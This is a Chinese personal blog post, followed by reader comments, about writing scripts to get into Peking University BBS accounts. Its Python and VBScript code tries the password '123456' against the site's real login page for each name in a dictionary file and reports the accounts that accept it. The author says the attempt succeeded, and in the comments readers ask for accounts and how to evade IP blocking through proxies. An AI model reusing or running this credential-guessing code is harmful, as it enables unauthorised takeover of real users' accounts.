标题: Python牛刀小试
作者: Demon
链接: https://demon.tw/programming/python-a-little-trial.html
版权: 本博客的所有文章,都遵守“署名-非商业性使用-相同方式共享 2.5 中国大陆”协议条款。
今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。
难道真的要我破解一个么?算了,正好试试我的Python水平。
#coding: gbk import httplib, urllib def Check(username, password): params = urllib.urlencode( {'userid': username, 'passwd': password}) headers = {"Content-type": "application/x-www-form-urlencoded"} conn = httplib.HTTPSConnection("www.bdwm.net") conn.request("POST", "/bbs/bbslog2.php", params, headers) res = conn.getresponse().read() conn.close() if res.find("密码不正确") != -1: return False elif res.find("不存在这个用户") != -1: return False else: return True for i in open("English.Dic"): if Check(i.rstrip(),"123456"): print i
顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso Set fso = CreateObject("scripting.filesystemobject") With fso.OpenTextFile("English.Dic",1) Do Until .AtEndOfStream id = .ReadLine If Check(id,"123456") Then WScript.Echo id & vbTab &"OK" End If Loop End With Function Check(username,password) Dim http Set http = CreateObject("Msxml2.XMLHTTP") http.open _ "POST","https://www.bdwm.net/bbs/bbslog2.php",False http.setRequestHeader _ "Content-Type","application/x-www-form-urlencoded" http.send "userid=" & username & "&passwd=" & password response = AnsiToUnicode(http.responseBody) If InStr(response,"密码不正确") Then Check = False ElseIf InStr(response,"不存在这个用户") Then Check = False Else Check = True End If End Function Function AnsiToUnicode(str) Dim ado Set ado = CreateObject("adodb.stream") ado.Type = 1 ado.Open ado.Write str ado.Position = 0 ado.Type = 2 ado.Charset = "gb2312" AnsiToUnicode = ado.ReadText End Function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
赞赏微信赞赏支付宝赞赏
随机文章:
那个邮箱不会被破解么- –
可以加上限制的啊,比如多少次以后封锁IP神马的
看看,赞下技术帝~
httplib 慢
说可移植性的是你,说慢的也是你,你有神马意见?
求北大BBS账号
上面的python代码运行起来没有结果哎,怎么回事
研究了一下,发现,它现在改成javascript返回提示信息了,不能完成了
不知道楼主,有没有什么好的方法,共同交流
封锁IP。
怎么用代理IP来做这些事情?
E..
English.dic是什么?